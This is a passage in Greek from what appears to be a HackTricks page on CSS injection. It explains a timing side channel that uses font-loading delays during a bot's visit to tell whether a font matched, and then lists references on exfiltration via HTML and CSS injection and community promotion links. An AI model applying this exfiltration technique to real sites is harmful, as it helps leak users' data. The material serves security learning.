Έτσι, αν η γραμματοσειρά δεν ταιριάζει, αναμένεται ότι ο χρόνος απόκρισης κατά την επίσκεψη του bot θα είναι περίπου 30 δευτερόλεπτα. Ωστόσο, αν υπάρχει ταίριασμα γραμματοσειράς, θα σταλούν πολλαπλά αιτήματα για την ανάκτηση της γραμματοσειράς, προκαλώντας συνεχή δραστηριότητα στο δίκτυο. Ως αποτέλεσμα, θα χρειαστεί περισσότερος χρόνος για να ικανοποιηθεί η συνθήκη διακοπής και να ληφθεί η απάντηση. Επομένως, ο χρόνος απόκρισης μπορεί να χρησιμοποιηθεί ως ένδειξη για να καθοριστεί αν υπάρχει ταίριασμα γραμματοσειράς.
Αναφορές
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια στο GitHub.